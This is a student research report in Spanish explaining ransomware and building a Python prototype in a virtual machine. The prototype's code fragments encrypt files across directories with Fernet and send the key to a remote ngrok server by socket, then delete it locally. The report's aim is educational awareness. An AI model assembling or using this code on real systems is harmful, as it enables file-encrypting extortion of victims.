UNIVERSIDAD NACIONAL DE INGENIERÍA
Facultad de Ciencias

Estudio del funcionamiento de un ransomware

Autor: Hugo Rivas Galindo - 20210065F
Asesor: Rubén Ricapa

30 de julio del 2022

Contenido

Resumen:

El ransomware es un tipo de malware bastante común hoy en día; sin embargo, muchos usuarios aún no son conscientes de los daños que puede ocasionar. En el presente informe, se explica qué es un ransomware, sus tipos y se nombra algunos ejemplos de este malware con el objetivo de mostrar los potenciales daños, conocer su funcionamiento y evitar ser víctima de uno. Además, se desarrolla un prototipo de ransomware con el lenguaje python para una mejor explicación de su funcionamiento.

Abstract:

Ransomware is a fairly common type of malware nowadays; however, many users are still unaware of the damage it can cause. In this report, we explain what ransomware is, its types and name some examples of this malware in order to show the potential damage, learn how it works and avoid becoming a victim of one. In addition, a ransomware prototype is developed using the Python language to better explain how it works.

Antecedentes:

Hay una relación entre la tecnología y la delincuencia: sus aplicaciones hacen la vida más fácil tanto a los usuarios legales como a los delincuentes. Ya no es necesario tomar un arma para robar elevadas cantidades de dinero a las grandes empresas: ahora con solo un descuido es posible acceder a los datos confidenciales de una compañía. Además, este trabajo se hace masivo gracias a la automatización que proporciona internet.
En los últimos años, se ha presenciado un incremento en la infección por ransomware, infectando indiscriminadamente a las víctimas, cifrando los datos o dejando sin acceso a sus computadoras. Los principales motivos del aumento de casos son los siguientes:

1) Internet es una red altamente conectada
2) Los métodos de infección de los ransomware se camuflan en los protocolos que presenta internet
3) Existen muchas herramientas de cifrado de fácil uso, por lo que realizar un ataque de cifrado es más sencillo
4) El lanzamiento de monedas electrónicas hace que los delincuentes puedan recibir sus recompensas de forma anónima.

Objetivos:

-Alertar acerca de los peligros por la infección de un ransomware

-Entender el funcionamiento de un ransomware

-Entender el cifrado de archivos

Fundamento teórico:

Ransomware: Es un tipo de ataque que impide acceder a un sistema o a los datos almacenados en este para posteriormente pedir un pago por el rescate.

Tipos de ransomware:

Según Sanggeun, podemos clasificarlos en 3 grupos según su funcionalidad :

-Ransomware de bloqueo:

Tiene como objetivo bloquear el sistema operativo del equipo infectado, es decir, impide que el usuario pueda navegar libremente por su equipo.

-Scareware:

El scareware es un software malicioso que se usa para persuadir al usuario y convencerlo de instalar un falso antivirus, cuyo objetivo es robar los datos.

-Ransomware de cifrado:

Es el ransomware más conocido y expandido. Su finalidad es evitar el uso de los propios archivos del usuario para luego pedirle un rescate por estos. Cabe resaltar que el funcionamiento del equipo no se ve afectado en ningún momento, pues el objetivo es principalmente cifrar los archivos.

Métodos de infección:

A medida que los investigadores se esfuerzan por aumentar la seguridad del software, los atacantes se enfocan más en usar la ingeniería social para atrapar a las víctimas y suelen adaptarse a los usuarios con temas relacionados. Suelen utilizar los siguientes canales de infección:

- Correos electrónicos: La víctima recibe un correo con un archivo o una URL que contiene un descargador. Cuando se abre el correo malicioso, se inicia un mecanismo de descarga del malware que infecta a la máquina. Según una encuesta de McAfee Labs, el 23% de los destinatarios abren correos electrónicos de phishing y el 11% hace click en el archivo adjunto.
- Troyanos: Los usuarios descargan aplicaciones supuestamente inofensivas. Estas aplicaciones contienen 2 partes: la primera es la aplicación que funciona como distracción al usuario, la segunda parte contiene el malware que puede ser usado para infectar más malware.

Criptografía: Es el arte de cifrar (encriptar) y descifrar (desencriptar) información mediante técnicas que hagan posible el intercambio de mensajes de manera segura y confidencial.

Sistemas de cifrado simétrico: Usan la misma clave para encriptar y desencriptar los mensajes. Es más rápido de procesar pero menos seguro que los cifrados asimétricos.

>Cifrado en bloques: La información a cifrar se divide en bloques de longitud fija y luego se aplica el algoritmo de cifrado a cada bloque usando la clave secreta. P.ej. AES, DES.

>Cifrado de flujo: Se aplica una clave criptográfica a cada bit en un flujo de datos

Sistemas de cifrado asimétrico: Se caracterizan por tener 2 claves para el envío de datos informáticos. La clave pública usualmente se usa para el cifrado y la clave privada para el descifrado, esto con el fin de que en caso alguien logre interceptar la comunicación, la información del mensaje permanecerá oculta. También se puede cifrar con la clave privada y descifrar con la clave pública, esto con la intención de autenticar la identificación del remitente.

Cifrado AES:

Existen 3 tipos de cifrado AES: 128 bits, 192 bits y 256 bits, donde el último es el más seguro por la mayor cantidad de bits. Es un sistema de clave simétrica, otorgando una mayor potencia computacional. El funcionamiento de AES se basa en bloques, concretamente bloques de 128 bits, los cuales se organizan en una matriz de cuatro por cuatro con cada byte en una posición de la misma. Ocho bits por byte nos dan los 128 bits mencionados y por ello al cifrar la información no se altera el tamaño de la misma gracias a las matrices. AES es un sistema de sustitución y permutación, el cual debe su alta

seguridad gracias a que la clave inicial o semilla que le va a servir a través de una fórmula generar claves nuevas al mismo tiempo que se utilizarán para codificar los datos.

Cifrado Fernet en Python:

Fernet es un algoritmo de cifrado simétrico. Utiliza la codificación de seguridad URL para la clave. Fernet también utiliza AES de 128 bits en modo CBC y relleno pkcs 7, y hmac utiliza sha256 para autenticación. El IV fue creado a partir de os.

Recursos y herramientas:

Usaremos el lenguaje de programación Python y las bibliotecas:

Vmware:

Se usa una máquina virtual para ver el funcionamiento de un ransomware. Además, se levanta un servidor para intercambiar archivos entre la máquina infectada y el servidor del atacante.

Cryptography.Fernet:

El módulo fernet del paquete de criptografía tiene funciones incorporadas para la generación de la clave, el cifrado y descifrado de texto plano usando los métodos correspondientes. El módulo fernet garantiza que los datos cifrados con él no se puedan manipular sin leer la clave.

Os:

El módulo os provee una manera versátil de usar funcionalidades dependientes del sistema operativo [8]. En este proyecto, se usa para recorrer las rutas y para ejecutar comandos en la terminal durante el flujo de código en python

Tkinter:

El módulo tkinter se utiliza para realizar la ventana emergente del ransomware.

Ngrok:

Se usa ngrok para levantar un servidor remoto para posteriormente enviarle la contraseña de encriptación.

Socket:

Se usa para transmitir información de un sistema a un servidor remoto. En el código se emplea para enviar la clave de cifrado generada en la máquina infectada hacia el servidor del atacante

Estructuración y método:

Se definen las funciones principales:

Función encrypt()

```
def encrypt(nom_archivo, clave):
    f=Fernet(clave)
    with open(nom_archivo, "rb") as file:
        archivo_info=file.read()
    info_encrypt=f.encrypt(archivo_info)
    with open(nom_archivo, "wb") as file:
        file.write(info_encrypt)
```

La función “encrypt” guarda todo el contenido de nom_archivo en la variable archivo_info para luego encriptarlo con las función encrypt. Luego, sobrescribe los datos originales con los datos encriptados.

Función desencript():

```
def desencript(nom_Archivo, clave):
    f=Fernet(clave)
    with open(nom_Archivo, "rb") as file:
        encrypted_data=file.read()
    decrypted_data=f.decrypt(encrypted_data)
    with open(nom_Archivo, "wb") as file:
        file.write(decrypted_data)
```

La función “desencript” desencripta todo el contenido de un archivo mediante el uso de la función “decrypt” proveniente del módulo Cryptography.Fernet.

Función cargar_clave() y genera_clave():

```
def cargar_clave():
    return open("clave.key", "rb").read()

def genera_clave():
    clave=Fernet.generate_key()
    with open("clave.key","wb") as archivo_clave:
        archivo_clave.write(clave)
```

La función “genera_clave” crea la clave mediante el método generate_key del paquete Fernet. Luego guarda dicha clave en el archivo “clave.key”

Función encryptAll():

```
def encryptAll(ruta,clave):
    for dirpath,dirnames,filenames in os.walk(ruta):
            for file in filenames:
                file_path,file_ext=os.path.splitext(dirpath+'/'+file)
                if file_ext in extensiones:
                    encrypt(dirpath+"/"+file,clave)
```

La función “encryptAll” recorre todos los archivos dentro de un directorio en específico para encriptarlos con la función “encrypt” previamente definida.

Función send_data():

```
def send_data():
    password_data=str(password.get()).encode()
    if(password_data==claveCifrado):

        desencriptAll(ruta,claveCifrado)

        etiqueta=Label(ventana,text="Gracias por tu apoyo. Tu PC ha sido correctamente desencriptada"
        etiqueta.pack()
```

La función “send_data” sirve para comparar si la clave insertada en la interfaz del ransomware concuerda con la clave generada para desencriptar los archivos.

Función fileToServer():

```
def fileToServer():

    IP = socket.gethostbyname('4.tcp.ngrok.io') #--------COLOCAR HOST DE NGROK
    PORT = 17142 #---------------------------------------COLOCAR PUERTO DE NGROK
    ADDR = (IP, PORT)
    FORMAT = "utf-8"
    SIZE = 1024


    """ Staring a TCP socket. """
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    """ Connecting to the server. """
    client.connect(ADDR)

    """ Opening and reading the file data. """
    file = open("clave.key", "r")
    data = file.read()

    """ Sending the filename to the server. """
    client.send("clave.key".encode(FORMAT))
    msg = client.recv(SIZE).decode(FORMAT)

    """ Sending the file data to the server. """
    client.send(data.encode(FORMAT))
    msg = client.recv(SIZE).decode(FORMAT)

    """ Closing the file. """
    file.close()

    """ Closing the connection from the server. """
    client.close()

    os.remove("clave.key")
```

La función “fileToServer” sirve para enviar el archivo que contiene la clave de cifrado hacia el servidor creado previamente con ngrok.

Conclusiones y recomendaciones:

El propósito de este informe fue analizar y tomar consciencia de qué es un ransomware, con el fin de entender su funcionamiento para proponer distintas soluciones. Se llega a la conclusión de que es importante estar alertas y desconfiar de los correos inoportunos o sitios web peligrosos pues estos son vectores de ataque para la infección de ransomware. Por lo tanto, es recomendable tener una copia de seguridad de nuestros archivos.

Bibliografía:

[1] Leong, R., Beek, C., Cochin, C., Cowie, N., & Schmugar, C. (2016). Understanding ransomware and strategies to defeat it. White Paper (McAfee Labs), 1-16.

[2]Sanggeun Song, Bongjoon Kim, Sangjun Lee, "The Effective Ransomware Prevention Technique Using Process Monitoring on Android Platform", Mobile Information Systems, vol. 2016, Article ID 2946735, 9 pages, 2016. https://doi.org/10.1155/2016/2946735

[3]Pousa, A. (2011). Algoritmo de cifrado simétrico AES (Doctoral dissertation, Universidad Nacional de La Plata).

[4]López, J. (2020, junio 25). Así funciona el sistema de cifrado AES-256 bits, ¿es realmente seguro? HardZone. https://hardzone.es/tutoriales/rendimiento/cifrado-aes-256-bits-como-funciona/ https://www.tutorialspoint.com/cryptography_with_python/cryptography_with_python_modules_of_cryptography.htm

[5]Construcción de un sistema de identidad de código bidimensional con algoritmo de Cifrado simétrico de Fernet en Python. (s/f). Coder-solution-es.com. Recuperado el 31 de julio de 2022, de https://coder-solution-es.com/solution-es-blog/1226846

[6]García, R. (2019, diciembre 12). ¿Qué es VMware y para qué sirve? #ADN CLOUD; Mediacloud. https://blog.mdcloud.es/que-es-vmware/

[7]Fernet (symmetric encryption) — Cryptography 38.0.0.dev1 documentation. (s/f). Cryptography.Io. Recuperado el 31 de julio de 2022, de https://cryptography.io/en/latest/fernet/

[8]os — Interfaces misceláneas del sistema operativo — documentación de Python - 3.10.5. (s/f). Python.org. Recuperado el 31 de julio de 2022, de